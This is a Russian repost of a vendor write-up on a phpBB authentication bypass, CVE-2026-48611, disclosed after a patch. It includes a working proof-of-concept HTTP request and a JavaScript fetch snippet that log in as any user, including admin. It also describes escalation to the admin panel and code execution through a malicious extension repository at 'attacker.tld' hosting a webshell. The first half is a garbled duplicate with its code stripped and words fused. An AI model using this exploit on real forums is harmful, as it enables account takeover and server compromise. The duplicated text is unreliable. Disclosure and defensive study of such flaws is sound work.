LIMB
Автор: Джориан Вольтьер
10 июня мы объявили о критической уязвимости phpBB, которая позволяет злоумышленникам обходить аутентификацию, теперь известную как CVE-2026-48611. Этот пост является продолжением и содержит технические детали, объясняющие сценарии эксплойтов и методы обнаружения.
Чтобы разобраться, phpBB — это старое форумное ПО, которое до сих пор используется различными техническими сообществами. Только в Site Showcase phpBB насчитывается более 6 миллионов участников. Хотя в прошлом были известные атаки, например, червь «Санти» в 2004 году, сегодня проблем с уязвимостями почти нет. Это раскрытие нарушает эту тенденцию.
Во время исследования по улучшению нашего продукта пентеста на основе ИИ агенты Aikido Attack уведомили нас о «Критическом обходе аутентификации» в phpBB. Сначала мы были немного скептически настроены. Наверняка это была какая-то ошибка в конфигурации или крайний случай, который мы допустили при настройке. Но это было далеко от истины.
Обнаруженная уязвимость работает в стандартной конфигурации, требуя всего одного неаутентифицированного запроса для полного входа в любую произвольную учетную запись. Вход в аккаунт администратора может дать вам контроль над всем форумом!
После того как мы это заметили, мы сразу сообщили об уязвимости на HackerOne и получили подтверждение, что сортировка прошла менее чем за 9 минут!
Четыре дня спустя вышел патч в версии 3.3.17, устраняющий эту уязвимость. Если вы управляете форумом phpBB, обновитесь до этой версии как можно скорее, если ещё не сделали этого.
Теперь мы рассмотрим, какие части кода были уязвимы и как их можно было использовать. Спойлер: это не тот безумно сложный эксплойт, каким можно было бы ожидать...
Если вы решите подключить его к существующей учетной записи, система попросит войти в аккаунт с помощью параметра запроса. Отправка этого файла затем подключит аккаунт OAuth после входа.mode=login_link
Обратный вызов обрабатывается и сначала ищет данные как параметры запроса, которые не должны быть пустыми. Вот такие выделены здесь:ucp_login_link.phplogin_link_*
К счастью, это легко пропустить, добавив некоторые фиктивные данные, например . Это делает непустое и мы можем продолжать поток.login_link_aikido=1$data
Ниже в коде мы начинаем замечать нечто странное. У нас есть контроль над параметром запроса:auth_provider
Обычно значение устанавливается только на , но мы можем полностью его контролировать. Он должен сообщать серверу phpBB, какого провайдера следует использовать для проверки аутентификации, например, если у вас настроена и локальная база данных, и аутентификация OAuth. Но что происходит, когда мы предоставляем другие ценности?oauth
phpBB определяет все эти классы в разделе phpbb/auth/provider. Есть один очень простой и немного слишком простой:apache.php
Он проверяет, что отправленное имя пользователя совпадает с PHP_AUTH_USER (расшифрованное имя аутентификации), ищет пользователя и просто возвращает . Но одного не хватает — проверки пароля!BasicLOGIN_SUCCESS
Поздравляю, вы только что нашли важный обход аутентификации на phpBB! Выбрав неожиданного провайдера, например , мы можем пропустить пароль и войти как любой пользователь.apache
Чтобы развеять путаницу, сопровождающие не просто «забыли» добавить проверку пароля здесь. Предполагается, что аутентификация осуществляется прокси Apache с помощью , и каждый запрос должен пройти через него первым. В этом случае phpBB просто доверяет имену пользователя, которое появляется в заголовке аутентификации Basic.apache.htpasswd
Здесь мы активировали провайдера без необходимости настраивать Apache через функцию, предназначенную только для . В этом случае клиент напрямую становится «доверенным прокси», и мы можем отправлять любое имя пользователя, которое он захочет.apacheoauth
Таким образом, мы можем сделать запрос, который запускает поток логин-ссылки с валидными данными и выбранным нами именем пользователя, но установить обработчик так, чтобы пропускать проверку пароля. Имена пользователей легко найти в инстансах phpBB, что облегчает вход в систему как администратор или модератор.apache
Всё это работает в стандартной конфигурации phpBB, что делает игру ещё более опасной
Успешный ответ устанавливает файлы cookie и перенаправляет на главную страницу. Затем злоумышленник полностью входит в целевой аккаунт.
Для генерации вышеуказанного запроса в DevTools Console любого экземпляра можно выполнить следующий JavaScript-код:
Загрузка страницы после этого показывает, что злоумышленник вошёл в целевой аккаунт:
Панель снова проверяет, есть ли у нас пароль пользователя, пока мы уже вошли в систему. Хотя первоначальная реакция может быть просто использовать наш эксплойт снова, чтобы обойти эту проверку входа, у него есть совершенно отдельная реализация, которая не уязвима к той же проблеме. Нам нужен пароль, чтобы получить доступ к этой панели.
По этой причине и поддерживающий phpBB, и Aikido изначально считали, что последствия этой проблемы ограничиваются имитацией произвольных пользователей.
Сразу после публикации этого блога на X пользователь «Labomen» упомянул, что возможно эскалация с пользовательской панели управления (UCP, по сути «личные настройки») в Панель управления администратора (ACP) без необходимости вводить пароль.
Это вызывало беспокойство. Мы быстро воспроизвели эту идею локально и подтвердили, что это действительно так! Учредительный пользователь — это первый, зарегистрированный в инстансе phpBB, и по умолчанию выполняет эту роль. В частности, эта комбинация прав может быть уязвима, потому что основатель может добавлять других пользователей в группу администраторов. Более того, они могут делать это через пользовательскую панель управления!ADMINISTRATORS
Злоумышленник может зарегистрировать аккаунт для себя, а затем предоставить этому аккаунту права администратора через панель Add users.
После этого они видят, как Панель управления администрации связывается с их аккаунтом, и поскольку это их аккаунт, знают пароль для полного входа.
Отсюда полный экземпляр компрометируется. Любые настройки можно редактировать. Но если пойти ещё дальше, мы можем добиться влияния и на базовую систему.
В версии 4.0.0-a2 был добавлен так называемый Каталог расширений, заменивший ручной способ установки расширений phpBB через файловую систему.
Расширения больше не нужно вручную копировать в папку ext/, вместо этого можно настраивать URL репозитория и загружать их прямо из веб-интерфейса!
Хотя это приятный опыт для администратора, эта функция несёт с собой риск. Это означает, что любой скомпрометированный администратор в интернете может внезапно установить произвольные расширения. Не только из надёжных источников, но и через настройку настроек с любого URL, добавленного в репозитории:
После сохранения настроек отправляется запрос https://attacker.tld/packages.json на получение всех доступных расширений. Злоумышленник может вернуть список расширений, которые он заявляет как хост, которые затем отображаются в каталоге. Отсюда, как администратор, злоумышленник может установить своё вредоносное расширение, чтобы получить произвольные PHP-файлы, записанные в папку ext/.
Мы создали вредоносный сервер для размещения расширений с вебшеллом, и при настройке отображается указано расширение злоумышленника:
После установки и включения злоумышленник может перейти к своему веб-шеллу, чтобы выполнить неаутентифицированное удаленное выполнение кода на стандартной конфигурации последней версии:
Источник:: www.aikido.dev/blog/authentication-bypass-phpbb-technical-writeup
10 июня мы объявили о критической уязвимости phpBB, которая позволяет злоумышленникам обходить аутентификацию, теперь известную как CVE-2026-48611. Этот пост является продолжением и содержит технические детали, объясняющие сценарии эксплойтов и методы обнаружения.
Чтобы разобраться, phpBB — это старое форумное ПО, которое до сих пор используется различными техническими сообществами. Только в Site Showcase phpBB насчитывается более 6 миллионов участников. Хотя в прошлом были известные атаки, например, червь «Санти» в 2004 году, сегодня проблем с уязвимостями почти нет. Это раскрытие нарушает эту тенденцию.
Во время исследования по улучшению нашего продукта пентеста на основе ИИ агенты Aikido Attack уведомили нас о «Критическом обходе аутентификации» в phpBB. Сначала мы были немного скептически настроены. Наверняка это была какая-то ошибка в конфигурации или крайний случай, который мы допустили при настройке. Но это было далеко от истины.
Обнаруженная уязвимость работает в стандартной конфигурации, требуя всего одного неаутентифицированного запроса для полного входа в любую произвольную учетную запись. Вход в аккаунт администратора может дать вам контроль над всем форумом!
После того как мы это заметили, мы сразу сообщили об уязвимости на HackerOne и получили подтверждение, что сортировка прошла менее чем за 9 минут!
Не удалось прогрузить медиа
Четыре дня спустя вышел патч в версии 3.3.17, устраняющий эту уязвимость. Если вы управляете форумом phpBB, обновитесь до этой версии как можно скорее, если ещё не сделали этого.
Теперь мы рассмотрим, какие части кода были уязвимы и как их можно было использовать. Спойлер: это не тот безумно сложный эксплойт, каким можно было бы ожидать...
Обход аутентификации
Всё это связано с тем, как именно работает процедура входа в phpBB. Не основной процесс входа, а конкретно функцию «логин-ссылка». При подключении к внешним сервисам, таким как Google или GitHub OAuth, эта функция предназначена для привязки аккаунта к существующему аккаунту на инстансе phpBB или регистрации нового.Если вы решите подключить его к существующей учетной записи, система попросит войти в аккаунт с помощью параметра запроса. Отправка этого файла затем подключит аккаунт OAuth после входа.mode=login_link
Обратный вызов обрабатывается и сначала ищет данные как параметры запроса, которые не должны быть пустыми. Вот такие выделены здесь:ucp_login_link.phplogin_link_*
PHP:
class ucp_login_link {
function main($id, $mode) {
...
$data = $this->get_login_link_data_array();
if (empty($data)) {
$login_link_error = $user->lang['LOGIN_LINK_NO_DATA_PROVIDED'];
}
...
}
}
protected function get_login_link_data_array() {
...
foreach ($var_names as $var_name) {
if (strpos($var_name, 'login_link_') === 0) {
$key_name = substr($var_name, $string_start_length);
$login_link_data[$key_name] = $request->variable($var_name, '', false, \phpbb\request\request_interface::GET);
}
}К счастью, это легко пропустить, добавив некоторые фиктивные данные, например . Это делает непустое и мы можем продолжать поток.login_link_aikido=1$data
Ниже в коде мы начинаем замечать нечто странное. У нас есть контроль над параметром запроса:auth_provider
PHP:
// Use the auth_provider requested even if different from configured
$provider_collection = $phpbb_container->get('auth.provider_collection');
$auth_provider = $provider_collection->get_provider($request->variable('auth_provider', ''));Обычно значение устанавливается только на , но мы можем полностью его контролировать. Он должен сообщать серверу phpBB, какого провайдера следует использовать для проверки аутентификации, например, если у вас настроена и локальная база данных, и аутентификация OAuth. Но что происходит, когда мы предоставляем другие ценности?oauth
phpBB определяет все эти классы в разделе phpbb/auth/provider. Есть один очень простой и немного слишком простой:apache.php
PHP:
class apache extends base {
public function login($username, $password) {
$php_auth_user = html_entity_decode($this->request->server('PHP_AUTH_USER'), ENT_COMPAT);
$php_auth_pw = html_entity_decode($this->request->server('PHP_AUTH_PW'), ENT_COMPAT);
if (!empty($php_auth_user) && !empty($php_auth_pw)) {
// Basic auth username must match submitted username
if ($php_auth_user !== $username) {
return array('status' => LOGIN_ERROR_USERNAME, ...);
}
// Look up user in database
$sql = 'SELECT user_id, username, user_password, user_passchg, user_email, user_type
FROM ' . USERS_TABLE . "
WHERE username = '" . $this->db->sql_escape($php_auth_user) . "'";
$result = $this->db->sql_query($sql);
$row = $this->db->sql_fetchrow($result);
$this->db->sql_freeresult($result);
if ($row) {
// User inactive
if ($row['user_type'] == USER_INACTIVE || $row['user_type'] == USER_IGNORE) {
return array('status' => LOGIN_ERROR_ACTIVE, ...);
}
// Successful login
return array('status' => LOGIN_SUCCESS, ...);
}Он проверяет, что отправленное имя пользователя совпадает с PHP_AUTH_USER (расшифрованное имя аутентификации), ищет пользователя и просто возвращает . Но одного не хватает — проверки пароля!BasicLOGIN_SUCCESS
Поздравляю, вы только что нашли важный обход аутентификации на phpBB! Выбрав неожиданного провайдера, например , мы можем пропустить пароль и войти как любой пользователь.apache
Чтобы развеять путаницу, сопровождающие не просто «забыли» добавить проверку пароля здесь. Предполагается, что аутентификация осуществляется прокси Apache с помощью , и каждый запрос должен пройти через него первым. В этом случае phpBB просто доверяет имену пользователя, которое появляется в заголовке аутентификации Basic.apache.htpasswd
Здесь мы активировали провайдера без необходимости настраивать Apache через функцию, предназначенную только для . В этом случае клиент напрямую становится «доверенным прокси», и мы можем отправлять любое имя пользователя, которое он захочет.apacheoauth
Таким образом, мы можем сделать запрос, который запускает поток логин-ссылки с валидными данными и выбранным нами именем пользователя, но установить обработчик так, чтобы пропускать проверку пароля. Имена пользователей легко найти в инстансах phpBB, что облегчает вход в систему как администратор или модератор.apache
Всё это работает в стандартной конфигурации phpBB, что делает игру ещё более опасной
Доказательство концепции
Воспроизвести эту уязвимость несложно. На любом локальном phpBB следующий HTTP-запрос показывает обход для входа в пользователю (закодирован как Base64 в заголовке, как и ).adminAuthorization:admin:xYWRtaW46eA==
PHP:
POST /ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1 HTTP/1.1
Host: phpbb.local
Content-Length: 49
Authorization: Basic YWRtaW46eA==
Content-Type: application/x-www-form-urlencoded
login_username=admin&login_password=x&login=LoginУспешный ответ устанавливает файлы cookie и перенаправляет на главную страницу. Затем злоумышленник полностью входит в целевой аккаунт.
Code:
Server: Apache/2.4.67 (Debian)
X-Powered-By: PHP/8.2.31
Set-Cookie: phpbb_f4xf4_u=1; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_k=; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_sid=4c512fa6d44b00f3fe760603e7a84257; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_u=2; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_k=; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_sid=5e331defa66c2fc6db386f7c9abd0c55; path=/; domain=phpbb.local; HttpOnly
Location: http://phpbb.local/index.php/
Content-Length: 0
Content-Type: text/html; charset=UTF-8Для генерации вышеуказанного запроса в DevTools Console любого экземпляра можно выполнить следующий JavaScript-код:
JavaScript:
const TARGET_USER = "admin";
await fetch('/ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1', {
method: "POST",
headers: {
Authorization: `Basic ${btoa(TARGET_USER + ":x")}`
},
body: new URLSearchParams({login_username: TARGET_USER, login_password: "x", login: "Login"})
});Загрузка страницы после этого показывает, что злоумышленник вошёл в целевой аккаунт:
Не удалось прогрузить медиа
Эскалация доступа в панель управления админки
Мы вошли в аккаунт администратора и можем публиковать всё, что выдаёт себя за него, но если мы пытаемся управлять форумом через Панель управления администрацией, мы нажимаем вторую проверку пароля:Не удалось прогрузить медиа
Панель снова проверяет, есть ли у нас пароль пользователя, пока мы уже вошли в систему. Хотя первоначальная реакция может быть просто использовать наш эксплойт снова, чтобы обойти эту проверку входа, у него есть совершенно отдельная реализация, которая не уязвима к той же проблеме. Нам нужен пароль, чтобы получить доступ к этой панели.
По этой причине и поддерживающий phpBB, и Aikido изначально считали, что последствия этой проблемы ограничиваются имитацией произвольных пользователей.
Сразу после публикации этого блога на X пользователь «Labomen» упомянул, что возможно эскалация с пользовательской панели управления (UCP, по сути «личные настройки») в Панель управления администратора (ACP) без необходимости вводить пароль.
доступ к ACP можно получить просто, потому что почти всегда на реальных форумах можно просто войти как администратор в основную админ-группу с ролью основателя, создать новую учётную запись, сделать его администратором (да, добавление кого-то в группу НЕ обязательно ACP), затем просто войти как свой аккаунт и войти в ACP, так как знаешь пароль.
Это вызывало беспокойство. Мы быстро воспроизвели эту идею локально и подтвердили, что это действительно так! Учредительный пользователь — это первый, зарегистрированный в инстансе phpBB, и по умолчанию выполняет эту роль. В частности, эта комбинация прав может быть уязвима, потому что основатель может добавлять других пользователей в группу администраторов. Более того, они могут делать это через пользовательскую панель управления!ADMINISTRATORS
Не удалось прогрузить медиа
Злоумышленник может зарегистрировать аккаунт для себя, а затем предоставить этому аккаунту права администратора через панель Add users.
После этого они видят, как Панель управления администрации связывается с их аккаунтом, и поскольку это их аккаунт, знают пароль для полного входа.
Не удалось прогрузить медиа
Отсюда полный экземпляр компрометируется. Любые настройки можно редактировать. Но если пойти ещё дальше, мы можем добиться влияния и на базовую систему.
Удаленное выполнение кода
Следующее возможно только на ветке 4.x beta, а не на самой распространённой ветке 3.x. Тем не менее, мы всё равно хотели показать всю силу этой уязвимости.В версии 4.0.0-a2 был добавлен так называемый Каталог расширений, заменивший ручной способ установки расширений phpBB через файловую систему.
Не удалось прогрузить медиа
Расширения больше не нужно вручную копировать в папку ext/, вместо этого можно настраивать URL репозитория и загружать их прямо из веб-интерфейса!
Хотя это приятный опыт для администратора, эта функция несёт с собой риск. Это означает, что любой скомпрометированный администратор в интернете может внезапно установить произвольные расширения. Не только из надёжных источников, но и через настройку настроек с любого URL, добавленного в репозитории:
Не удалось прогрузить медиа
После сохранения настроек отправляется запрос https://attacker.tld/packages.json на получение всех доступных расширений. Злоумышленник может вернуть список расширений, которые он заявляет как хост, которые затем отображаются в каталоге. Отсюда, как администратор, злоумышленник может установить своё вредоносное расширение, чтобы получить произвольные PHP-файлы, записанные в папку ext/.
Мы создали вредоносный сервер для размещения расширений с вебшеллом, и при настройке отображается указано расширение злоумышленника:
Не удалось прогрузить медиа
После установки и включения злоумышленник может перейти к своему веб-шеллу, чтобы выполнить неаутентифицированное удаленное выполнение кода на стандартной конфигурации последней версии:
Не удалось прогрузить медиа
Источник:: www.aikido.dev/blog/authentication-bypass-phpbb-technical-writeup
👍40
😁4
😮3
🤔14
😢9